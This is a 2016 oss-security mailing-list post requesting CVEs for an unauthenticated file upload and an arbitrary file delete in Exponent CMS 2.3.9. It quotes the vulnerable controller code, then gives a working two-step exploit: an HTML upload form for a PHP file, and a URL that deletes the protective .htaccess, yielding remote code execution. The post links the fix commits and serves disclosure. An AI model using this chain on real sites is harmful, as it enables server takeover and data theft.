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Date: Fri, 30 Sep 2016 16:52:15 +0800
From: fyth <fyth.cnss@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request: File Upload & File Delete lead to Unauthorized RCE in
 Exponent CMS 2.3.9

CVE Request: File Upload & File Delete lead to Unauthorized RCE in Exponent
CMS 2.3.9

Hi, I reported two vulnerabilities to the ExponentCMS team on 20th Sept
2016:


1.Arbitrary File Upload vulnerability

/framework/modules/file/controllers/fileController.php

line 529-565

```

    public function upload() {

        // upload the file, but don't save the record yet...
        if ($this->params['resize'] != 'false') {
            $maxwidth = $this->params['max_width'];
        } else {
            $maxwidth = null;
        }
        $file =
expFile::fileUpload('Filedata',false,false,null,null,$maxwidth);
        // since most likely this function will only get hit via flash in
YUI Uploader
        // and since Flash can't pass cookies, we lose the knowledge of our
$user
        // so we're passing the user's ID in as $_POST data. We then
instantiate a new $user,
        // and then assign $user->id to $file->poster so we have an audit
trail for the upload

        if (is_object($file)) {
            $resized = !empty($file->resized) ? true : false;
            $user = new user($this->params['usrid']);
            $file->poster = $user->id;
            $file->posted = $file->last_accessed = time();
            $file->save();
            if (!empty($this->params['cat'])) {
                $expcat = new expCat($this->params['cat']);
                $params['expCat'][0] = $expcat->id;
                $file->update($params);
            }

            // a echo so YUI Uploader is notified of the function's
completion
            if ($resized) {
                echo gt('File resized and then saved');
            } else {
                echo gt('File saved');
            }
        } else {
            echo gt('File was NOT uploaded!');
//            flash('error',gt('File was not uploaded!'));
        }
    }


```

An unauthorized user can upload any file into the /files folder under
Exponent directory, including malicious files such as PHP files.

Exponent team put a .htaccess file under /files folder to prevent these
malicious files from being executed with the following content:
```
<FilesMatch "\.(php|phps|pl|py|jsp|asp|htm|html|shtml|sh|cgi|txt)$">
    ForceType text/plain
</FilesMatch>

```
But, if we can somehow get rid of this .htaccess file, we can get a RCE
vulnerability.

2.Arbitrary File Delete vulnerability:

/framework/modules/forms/controllers/formsController.php


line 1939-2010:
```
    public function import_csv_data_add() {
        global $user;

        $line_end = ini_get('auto_detect_line_endings');
        ini_set('auto_detect_line_endings',TRUE);
        $file = fopen(BASE . $this->params["filename"], "r");
        $recordsdone = 0;
        $linenum = 1;
        $f = new forms($this->params['forms_id']);
        $f->updateTable();

        $fields = array();
        $multi_item_control_items = array();
        $multi_item_control_ids = array();
        foreach ($f->forms_control as $control) {
            $fields[$control->name] = expUnserialize($control->data);
            $ctltype = get_class($fields[$control->name]);
            if
(in_array($ctltype,array('radiogroupcontrol','dropdowncontrol'))) {
                if
(!array_key_exists($control->id,$multi_item_control_items)) {
                    $multi_item_control_items[$control->name] = null;
                    $multi_item_control_ids[$control->name] = $control->id;
                }
            }
        }

        while (($filedata = fgetcsv($file, 2000,
$this->params["delimiter"])) != false) {
            if ($linenum >= $this->params["rowstart"] &&
in_array($linenum,$this->params['importrecord'])) {
                $i = 0;
                $db_data = new stdClass();
                $db_data->ip = '';
                $db_data->user_id = $user->id;
                $db_data->timestamp = time();
                $db_data->referrer = '';
                $db_data->location_data = '';
                foreach ($filedata as $field) {
                    if (!empty($this->params["column"][$i]) &&
$this->params["column"][$i] != "none") {
                        $colname = $this->params["column"][$i];
                        $control_type = get_class($fields[$colname]);
                        $params[$colname] = $field;
                        $def = call_user_func(array($control_type,
"getFieldDefinition"));
                        if (!empty($def)) {
                            $db_data->$colname =
call_user_func(array($control_type, 'convertData'), $colname, $params);
                        }
                        if (!empty($db_data->$colname) &&
array_key_exists($colname,$multi_item_control_items) &&
!in_array($db_data->$colname,$multi_item_control_items[$colname])) {
                            $multi_item_control_items[$colname][] =
$db_data->$colname;
                        }
                    }
                    $i++;
                }
                $f->insertRecord($db_data);
                $recordsdone++;
            }
            $linenum++;
        }

        fclose($file);
        ini_set('auto_detect_line_endings',$line_end);

        // update multi-item forms controls
        if (!empty($multi_item_control_ids)) {
            foreach ($multi_item_control_ids as $key=>$control_id) {
                $fc = new forms_control($control_id);
                $ctl = expUnserialize($fc->data);
                $ctl->items = $multi_item_control_items[$key];
                $fc->data = serialize($ctl);
                $fc->update();
            }
        }
        unlink(BASE . $this->params["filename"]);
        flash('notice', $recordsdone.' '.gt('Records Imported'));
        expHistory::back();
    }
```
$this->params["filename"] is basically $_GET['filename'], without any
sanitization.




Exploit:

The first step is to upload a php file using the following html, lets call
it test.php


<html>
<body>

<form action="
http://yourexponentcms/?controller=file&action=upload&resize=false"
method="post"
enctype="multipart/form-data">
Filename:
<input type="file" name="Filedata" id="file">

<input type="submit" name="submit" value="Submit">
</form>

</body>
</html>


And the second step is to delete the .htaccess file.
http://yourexponentcms/index.php?controller=forms&action=import_csv_data_add&filename=files/.htaccess


And now your http://yourexponentcms/files/test.php will be executed without
any obstacles.




And Now, these vulnerabilities have been fixed.
https://exponentcms.lighthouseapp.com/projects/61783/changesets/fdafb5ec97838e4edbd685f587f28d3174ebb3db
https://github.com/exponentcms/exponent-cms/commit/fdafb5ec97838e4edbd685f587f28d3174ebb3db

This issue was reported by Wang Chang of silence.com.cn Inc. and I would
like
to request CVE ids for these issues (if not done so).

Thank you.
---------------------------------http://www.silence.com.cn
wangchang#silence.com.cn
PKAV Team

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